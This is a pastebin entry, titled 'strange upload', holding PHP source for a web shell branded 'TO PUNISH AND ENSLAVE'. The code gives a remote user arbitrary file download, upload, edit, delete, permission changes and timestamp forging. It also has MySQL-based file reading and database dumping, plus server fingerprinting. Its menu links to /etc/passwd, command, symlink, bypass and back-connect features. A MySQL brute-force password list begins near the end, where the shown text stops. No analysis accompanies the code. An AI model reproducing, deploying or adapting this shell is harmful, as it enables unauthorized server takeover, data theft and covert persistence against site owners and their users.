pastebin - collaborative debugging tool
kpaste.net RSS


Merkwürdiger Upload
Posted by Anonymous on Tue 22nd May 2018 20:45
raw | new post

  1. <?php
  2. /**
  3.  * @Edit by hihihi - DLTeam
  4.  */
  5. $mtime     = explode(' ', microtime());
  6. $starttime = $mtime[1] + $mtime[0];
  7. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
  8. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  9. define('IS_COM', class_exists('COM') ? 1 : 0);
  10. $dis_func = get_cfg_var('disable_functions');
  11. define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
  12. foreach (array(
  13.     '_GET',
  14.     '_POST'
  15. ) as $_request) {
  16.     foreach ($$_request as $_key => $_value) {
  17.         if ($_key{0} != '_') {
  18.             if (IS_GPC) {
  19.                 $_value = s_array($_value);
  20.             }
  21.             $$_key = $_value;
  22.         }
  23.     }
  24. }
  25. if ($charset == 'utf8') {
  26.     header("content-Type: text/html; charset=utf-8");
  27. } elseif ($charset == 'big5') {
  28.     header("content-Type: text/html; charset=big5");
  29. } elseif ($charset == 'gbk') {
  30.     header("content-Type: text/html; charset=gbk");
  31. } elseif ($charset == 'latin1') {
  32.     header("content-Type: text/html; charset=iso-8859-2");
  33. }
  34. $self      = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  35. $timestamp = time();
  36. if ($action == "logout") {
  37.     scookie('kyobin', '', -86400 * 365);
  38.     p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
  39.     p('<body background=black>');
  40.     exit;
  41. }
  42. // Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
  43. $time_shell = "".date("d/m/Y - H:i:s")."";
  44. $ip_remote = $_SERVER["REMOTE_ADDR"];
  45. /*===================== Login =====================*/
  46. if ($action == 'phpinfo') {
  47.         if (IS_PHPINFO) {
  48.                 phpinfo();
  49.         } else {
  50.                 $errmsg = 'phpinfo() function has non-permissible';
  51.         }
  52. }
  53. if ($doing == 'downfile' && $thefile) {
  54.         if (!@file_exists($thefile)) {
  55.                 $errmsg = 'The file you want Downloadable was nonexistent';
  56.         } else {
  57.                 $fileinfo = pathinfo($thefile);
  58.                 header('Content-type: application/x-'.$fileinfo['extension']);
  59.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  60.                 header('Content-Length: '.filesize($thefile));
  61.                 @readfile($thefile);
  62.                 exit;
  63.         }
  64. }
  65. if ($doing == 'backupmysql' && !$saveasfile) {
  66.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  67.         $table = array_flip($table);
  68.         $result = q("SHOW tables");
  69.         if (!$result) p('<h2>'.mysql_error().'</h2>');
  70.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  71.         header('Content-type: application/unknown');
  72.         header('Content-Disposition: attachment; filename='.$filename);
  73.         $mysqldata = '';
  74.         while ($currow = mysql_fetch_array($result)) {
  75.                 if (isset($table[$currow[0]])) {
  76.                         $mysqldata .= sqldumptable($currow[0]);
  77.                 }
  78.         }
  79.         mysql_close();
  80.         exit;
  81. }
  82. // Mysql
  83. if($doing=='mysqldown'){
  84.         if (!$dbname) {
  85.                 $errmsg = ' dbname';
  86.         } else {
  87.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  88.                 if (!file_exists($mysqldlfile)) {
  89.                         $errmsg = 'The file you want Downloadable was nonexistent';
  90.                 } else {
  91.                         $result = q("select load_file('$mysqldlfile');");
  92.                         if(!$result){
  93.                                 q("DROP TABLE IF EXISTS tmp_angel;");
  94.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  95.                                 //Download SQL
  96.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  97.                                 $result = q("select content from tmp_angel");
  98.                                 q("DROP TABLE tmp_angel");
  99.                         }
  100.                         $row = @mysql_fetch_array($result);
  101.                         if (!$row) {
  102.                                 $errmsg = 'Load file failed '.mysql_error();
  103.                         } else {
  104.                                 $fileinfo = pathinfo($mysqldlfile);
  105.                                 header('Content-type: application/x-'.$fileinfo['extension']);
  106.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  107.                                 header("Accept-Length: ".strlen($row[0]));
  108.                                 echo $row[0];
  109.                                 exit;
  110.                         }
  111.                 }
  112.         }
  113. }
  114. ?>
  115. <html>
  116. <head>
  117. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  118. <title>.:: TO PUNISH AND ENSLAVE ::.</title>
  119. <style type="text/css">
  120. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  121. a {color: #74A202;text-decoration:none;}
  122. a:hover{color: #f00;text-decoration:underline;}
  123. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  124. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  125. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  126. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  127. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  128. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
  129. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  130. .head td span{font-weight:normal;}
  131. form{margin:0;padding:0;}
  132. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  133. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  134. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  135. input, textarea, button
  136. {
  137.         font-size: 9pt;
  138.         color: #ccc;
  139.         font-family: verdana, sans-serif;
  140.         background-color: #202020;
  141.         border-left: 1px solid #74A202;
  142.         border-top: 1px solid #74A202;
  143.         border-right: 1px solid #74A202;
  144.         border-bottom: 1px solid #74A202;
  145. }
  146. select
  147. {
  148.         font-size: 8pt;
  149.         font-weight: normal;
  150.         color: #ccc;
  151.         font-family: verdana, sans-serif;
  152.         background-color: #202020;
  153. }
  154. </style>
  155. <script type="text/javascript">
  156. function CheckAll(form) {
  157.         for(var i=0;i<form.elements.length;i++) {
  158.                 var e = form.elements[i];
  159.                 if (e.name != 'chkall')
  160.                 e.checked = form.chkall.checked;
  161.     }
  162. }
  163. function $(id) {
  164.         return document.getElementById(id);
  165. }
  166. function goaction(act){
  167.         $('goaction').action.value=act;
  168.         $('goaction').submit();
  169. }
  170. </script>
  171. </head>
  172. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=#00000>
  173. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  174.                                 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  175.                                         <tr>
  176.                                                 <td align="center" valign=center>
  177.                                  <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
  178.                                    Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  179.                                   </div>
  180.                                 </td>
  181.                                         </tr>
  182.                                 </table>
  183. </div>
  184.  <script>
  185.  var ld=(document.all);
  186.   var ns4=document.layers;
  187.  var ns6=document.getElementById&&!document.all;
  188.  var ie4=document.all;
  189.   if (ns4)
  190.         ld=document.loading;
  191.  else if (ns6)
  192.         ld=document.getElementById("loading").style;
  193.  else if (ie4)
  194.         ld=document.all.loading.style;
  195.   function init()
  196.  {
  197.  if(ns4){ld.visibility="hidden";}
  198.  else if (ns6||ie4) ld.display="none";
  199.  }
  200.  </script>
  201. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  202.         <tr class="head_small">
  203.                 <td  width=100%>
  204.                 <table width=100%><tr class="head_small"><td  width=86px><p><a title=" .::  ::. " href="<?php $self;?>"><img src=http://blog.zenoss.com/wp-content/uploads/2011/11/Red-Hat-Logo.jpg height=86 border=0></a></p>
  205.                 </td>
  206.                 <td>
  207.                 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> | Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>
  208.           | <a href="http://google.com" target="_blank"><?php echo str_replace('.','','vhb');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
  209.                 <?php
  210.                 $curl_on = @function_exists('curl_version');
  211.                 $mysql_on = @function_exists('mysql_connect');
  212.                 $mssql_on = @function_exists('mssql_connect');
  213.                 $pg_on = @function_exists('pg_connect');
  214.                 $ora_on = @function_exists('ocilogon');
  215. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  216. echo "PHP version: <b>".@phpversion()."</b> - ";
  217.                 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  218.                 echo "MySQL: <b>";
  219. $mysql_on = @function_exists('mysql_connect');
  220. if($mysql_on){
  221. echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
  222. echo "MSSQL: <b>";
  223. $mssql_on = @function_exists('mssql_connect');
  224. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  225. echo "PostgreSQL: <b>";
  226. $pg_on = @function_exists('pg_connect');
  227. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  228. echo "Oracle: <b>";
  229. $ora_on = @function_exists('ocilogon');
  230. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  231. echo "Disable functions : <b>";
  232. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  233. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  234. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  235.                 ?>
  236. </td></tr></table></td>
  237.         </tr>
  238.         <tr class="alt1">
  239.                 <td  width=10%><a href="javascript:goaction('file');">Manager</a> |
  240.                         <a href="javascript:goaction('sqladmin');">SQL</a>
  241.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  242.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('newcommand');">Command</a> <?php }?>
  243.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('error.log');">Creat CGI</a><?php }?>
  244.             <?php if (!IS_WIN) {?> | <a href="e/e.love" target="_blank">Open CGI</a><?php }?>
  245.             <?php if (!IS_WIN) {?> | <a href="javascript:goaction('symroot');">Sym Root</a><?php }?>
  246.             <?php if (!IS_WIN) {?> | <a href="sym/" target="_blank">Open Sym </a><?php }?>
  247.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('bypass');">ByPass</a><?php }?>
  248.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back</a><?php }?>|
  249.                         <a href="http://viewdns.info/reverseip/?host=<?php echo $_SERVER['SERVER_ADDR']; ?>&t=1" target="_blank">Reverse</a>
  250.             </td>
  251.         </tr>
  252. </table>
  253. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  254. <?php
  255. formhead(array('name'=>'goaction'));
  256. makehide('action');
  257. formfoot();
  258. $errmsg && m($errmsg);
  259. // Dir function
  260. !$dir && $dir = '.';
  261. $nowpath = getPath(SA_ROOT, $dir);
  262. if (substr($dir, -1) != '/') {
  263.         $dir = $dir.'/';
  264. }
  265. $uedir = ue($dir);
  266. if (!$action || $action == 'file') {
  267.         // Non-writeable
  268.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  269.         // Delete dir
  270.         if ($doing == 'deldir' && $thefile) {
  271.                 if (!file_exists($thefile)) {
  272.                         m($thefile.' directory does not exist');
  273.                 } else {
  274.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  275.                 }
  276.         }
  277.         // Create new dir
  278.         elseif ($newdirname) {
  279.                 $mkdirs = $nowpath.$newdirname;
  280.                 if (file_exists($mkdirs)) {
  281.                         m('Directory has already existed');
  282.                 } else {
  283.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  284.                         @chmod($mkdirs,0777);
  285.                 }
  286.         }
  287.         // Upload file
  288.         elseif ($doupfile) {
  289.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  290.         }
  291.         // Edit file
  292.         elseif ($editfilename && $filecontent) {
  293.                 $fp = @fopen($editfilename,'w');
  294.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  295.                 @fclose($fp);
  296.         }
  297.         // Modify
  298.         elseif ($pfile && $newperm) {
  299.                 if (!file_exists($pfile)) {
  300.                         m('The original file does not exist');
  301.                 } else {
  302.                         $newperm = base_convert($newperm,8,10);
  303.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  304.                 }
  305.         }
  306.         // Rename
  307.         elseif ($oldname && $newfilename) {
  308.                 $nname = $nowpath.$newfilename;
  309.                 if (file_exists($nname) || !file_exists($oldname)) {
  310.                         m($nname.' has already existed or original file does not exist');
  311.                 } else {
  312.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  313.                 }
  314.         }
  315.         // Copu
  316.         elseif ($sname && $tofile) {
  317.                 if (file_exists($tofile) || !file_exists($sname)) {
  318.                         m('The goal file has already existed or original file does not exist');
  319.                 } else {
  320.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  321.                 }
  322.         }
  323.         // File exit
  324.         elseif ($curfile && $tarfile) {
  325.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  326.                         m('The goal file has already existed or original file does not exist');
  327.                 } else {
  328.                         $time = @filemtime($tarfile);
  329.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  330.                 }
  331.         }
  332.         // Date
  333.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  334.                 if (!@file_exists($curfile)) {
  335.                         m(basename($curfile).' does not exist');
  336.                 } else {
  337.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
  338.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  339.                 }
  340.         }
  341.         // Download
  342.         elseif($doing == 'downrar') {
  343.                 if ($dl) {
  344.                         $dfiles='';
  345.                         foreach ($dl as $filepath => $value) {
  346.                                 $dfiles.=$filepath.',';
  347.                         }
  348.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  349.                         $dl=explode(',',$dfiles);
  350.                         $zip=new PHPZip($dl);
  351.                         $code=$zip->out;
  352.                         header('Content-type: application/octet-stream');
  353.                         header('Accept-Ranges: bytes');
  354.                         header('Accept-Length: '.strlen($code));
  355.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  356.                         echo $code;
  357.                         exit;
  358.                 } else {
  359.                         m('Please select file(s)');
  360.                 }
  361.         }
  362.         // Delete file
  363.         elseif($doing == 'delfiles') {
  364.                 if ($dl) {
  365.                         $dfiles='';
  366.                         $succ = $fail = 0;
  367.                         foreach ($dl as $filepath => $value) {
  368.                                 if (@unlink($filepath)) {
  369.                                         $succ++;
  370.                                 } else {
  371.                                         $fail++;
  372.                                 }
  373.                         }
  374.                         m('Deleted >> success '.$succ.' fail '.$fail);
  375.                 } else {
  376.                         m('Please select file(s)');
  377.                 }
  378.         }
  379.         // Function Newdir
  380.         formhead(array('name'=>'createdir'));
  381.         makehide('newdirname');
  382.         makehide('dir',$nowpath);
  383.         formfoot();
  384.         formhead(array('name'=>'fileperm'));
  385.         makehide('newperm');
  386.         makehide('pfile');
  387.         makehide('dir',$nowpath);
  388.         formfoot();
  389.         formhead(array('name'=>'copyfile'));
  390.         makehide('sname');
  391.         makehide('tofile');
  392.         makehide('dir',$nowpath);
  393.         formfoot();
  394.         formhead(array('name'=>'rename'));
  395.         makehide('oldname');
  396.         makehide('newfilename');
  397.         makehide('dir',$nowpath);
  398.         formfoot();
  399.         formhead(array('name'=>'fileopform'));
  400.         makehide('action');
  401.         makehide('opfile');
  402.         makehide('dir');
  403.         formfoot();
  404.         $free = @disk_free_space($nowpath);
  405.         !$free && $free = 0;
  406.         $all = @disk_total_space($nowpath);
  407.         !$all && $all = 0;
  408.         $used = $all-$free;
  409.         $used_percent = @round(100/($all/$free),2);
  410.         p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  411. ?>
  412. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  413.   <form action="" method="post" id="godir" name="godir">
  414.   <tr>
  415.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  416.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  417.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  418.   </tr>
  419.   </form>
  420. </table>
  421. <script type="text/javascript">
  422. function createdir(){
  423.         var newdirname;
  424.         newdirname = prompt('directory name:', '');
  425.         if (!newdirname) return;
  426.         $('createdir').newdirname.value=newdirname;
  427.         $('createdir').submit();
  428. }
  429. function fileperm(pfile){
  430.         var newperm;
  431.         newperm = prompt('Current file:'+pfile+'\n new attribute:', '');
  432.         if (!newperm) return;
  433.         $('fileperm').newperm.value=newperm;
  434.         $('fileperm').pfile.value=pfile;
  435.         $('fileperm').submit();
  436. }
  437. function copyfile(sname){
  438.         var tofile;
  439.         tofile = prompt('Original file:'+sname+'\n object file (fullpath):', '');
  440.         if (!tofile) return;
  441.         $('copyfile').tofile.value=tofile;
  442.         $('copyfile').sname.value=sname;
  443.         $('copyfile').submit();
  444. }
  445. function rename(oldname){
  446.         var newfilename;
  447.         newfilename = prompt('Former file name:'+oldname+'\n new filename:', '');
  448.         if (!newfilename) return;
  449.         $('rename').newfilename.value=newfilename;
  450.         $('rename').oldname.value=oldname;
  451.         $('rename').submit();
  452. }
  453. function dofile(doing,thefile,m){
  454.         if (m && !confirm(m)) {
  455.                 return;
  456.         }
  457.         $('filelist').doing.value=doing;
  458.         if (thefile){
  459.                 $('filelist').thefile.value=thefile;
  460.         }
  461.         $('filelist').submit();
  462. }
  463. function createfile(nowpath){
  464.         var filename;
  465.         filename = prompt('file name:', '');
  466.         if (!filename) return;
  467.         opfile('editfile',nowpath + filename,nowpath);
  468. }
  469. function opfile(action,opfile,dir){
  470.         $('fileopform').action.value=action;
  471.         $('fileopform').opfile.value=opfile;
  472.         $('fileopform').dir.value=dir;
  473.         $('fileopform').submit();
  474. }
  475. function godir(dir,view_writable){
  476.         if (view_writable) {
  477.                 $('godir').view_writable.value=1;
  478.         }
  479.         $('godir').dir.value=dir;
  480.         $('godir').submit();
  481. }
  482. </script>
  483.   <?php
  484.         tbhead();
  485.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  486.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  487.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  488.         if ($view_writable) {
  489.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  490.         } else {
  491.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  492.         }
  493.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  494.         if (IS_WIN && IS_COM) {
  495.                 $obj = new COM('scripting.filesystemobject');
  496.                 if ($obj && is_object($obj)) {
  497.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  498.                         foreach($obj->Drives as $drive) {
  499.                                 if ($drive->DriveType == 2) {
  500.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  501.                                 } else {
  502.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  503.                                 }
  504.                         }
  505.                 }
  506.         }
  507.         p('</td></tr></form>');
  508.         p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  509.         // Get path
  510.         $dirdata=array();
  511.         $filedata=array();
  512.         if ($view_writable) {
  513.                 $dirdata = GetList($nowpath);
  514.         } else {
  515.                 // Open dir
  516.                 $dirs=@opendir($dir);
  517.                 while ($file=@readdir($dirs)) {
  518.                         $filepath=$nowpath.$file;
  519.                         if(@is_dir($filepath)){
  520.                                 $dirdb['filename']=$file;
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  522.                                 $dirdb['dirchmod']=getChmod($filepath);
  523.                                 $dirdb['dirperm']=getPerms($filepath);
  524.                                 $dirdb['fileowner']=getUser($filepath);
  525.                                 $dirdb['dirlink']=$nowpath;
  526.                                 $dirdb['server_link']=$filepath;
  527.                                 $dirdb['client_link']=ue($filepath);
  528.                                 $dirdata[]=$dirdb;
  529.                         } else {
  530.                                 $filedb['filename']=$file;
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  533.                                 $filedb['filechmod']=getChmod($filepath);
  534.                                 $filedb['fileperm']=getPerms($filepath);
  535.                                 $filedb['fileowner']=getUser($filepath);
  536.                                 $filedb['dirlink']=$nowpath;
  537.                                 $filedb['server_link']=$filepath;
  538.                                 $filedb['client_link']=ue($filepath);
  539.                                 $filedata[]=$filedb;
  540.                         }
  541.                 }// while
  542.                 unset($dirdb);
  543.                 unset($filedb);
  544.                 @closedir($dirs);
  545.         }
  546.         @sort($dirdata);
  547.         @sort($filedata);
  548.         $dir_i = '0';
  549.         foreach($dirdata as $key => $dirdb){
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  551.                         $thisbg = bg();
  552.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
  556.                         p('<td nowrap>--</td>');
  557.                         p('<td nowrap>');
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  561.                         p('</tr>');
  562.                         $dir_i++;
  563.                 } else {
  564.                         if($dirdb['filename']=='..') {
  565.                                 p('<tr class=fout>');
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  567.                                 p('</tr>');
  568.                         }
  569.                 }
  570.         }
  571.         p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  572.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  573.         makehide('action','file');
  574.         makehide('thefile');
  575.         makehide('doing');
  576.         makehide('dir',$nowpath);
  577.         $file_i = '0';
  578.         foreach($filedata as $key => $filedb){
  579.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
  580.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  581.                         $thisbg = bg();
  582.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  583.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  584.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  585.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
  586.                         p('<td nowrap>'.$filedb['size'].'</td>');
  587.                         p('<td nowrap>');
  588.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  590.                         p('<td nowrap>');
  591.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  592.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  593.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  594.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  595.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  596.                         p('</td></tr>');
  597.                         $file_i++;
  598.                 }
  599.         }
  600.         p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Download Select</a> - <a href="javascript:dofile(\'delfiles\');">Delete </a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  601.         p('</form></table>');
  602. }// end dir
  603. ?>
  604. <script type="text/javascript">
  605. function mysqlfile(doing){
  606.         if(!doing) return;
  607.         $('doing').value=doing;
  608.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  609.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  610.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  611.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  612.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  613.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
  614.         $('mysqlfile').submit();
  615. }
  616. </script>
  617. <?php
  618. if ($action == 'sqladmin') {
  619.         !$dbhost && $dbhost = 'localhost';
  620.         !$dbuser && $dbuser = 'root';
  621.         !$dbport && $dbport = '3306';
  622.     !$brute_mysql && $brute_mysql ='admin
  623. admin1
  624. admin12
  625. admin123
  626. admin12345
  627. admin123456
  628. admin1234567
  629. admin12345678
  630. admin123456789
  631. Admin
  632. Admin123
  633. Admin1234
  634. Admin12345
  635. Admin123456
  636. Admin1234567
  637. Admin123456789
  638. Admin12345678
  639. root
  640. root@123
  641. root@1234
  642. root@12345
  643. root@123456
  644. root@1234567
  645. root@12345678
  646. root@123456789
  647. root@1234567890
  648. root123
  649. root1234
  650. root12345
  651. root123456
  652. root1234567
  653. root12345678
  654. root123456789
  655. root1234567890
  656. root@
  657. 2014
  658. 2015
  659. @dmin
  660. @dmin1
  661. @dmin12
  662. @dmin123
  663. @dmin123456
  664. @dmin1234
  665. @dmin12345
  666. @dmin1234567
  667. @dmin12345678
  668. @dmin123456789
  669. 123123123
  670. 123321
  671. 111111
  672. 222222
  673. 333333
  674. 444444
  675. 555555
  676. 666666
  677. 777777
  678. 888888
  679. 999999
  680. 000000
  681. administrator
  682. Administrator
  683. @dministrator
  684. 123sasa
  685. test
  686. 1234
  687. 12345
  688. 123456
  689. 1234567
  690. 12345678
  691. 123456789
  692. 1234567890
  693. 012
  694. 0123
  695. 01234
  696. 012345
  697. 0123456
  698. 01234567
  699. 012345678
  700. 0123456789
  701. 01234567890
  702. sql
  703. sql123
  704. sql1234
  705. sql12345
  706. sql123456
  707. sql1234567
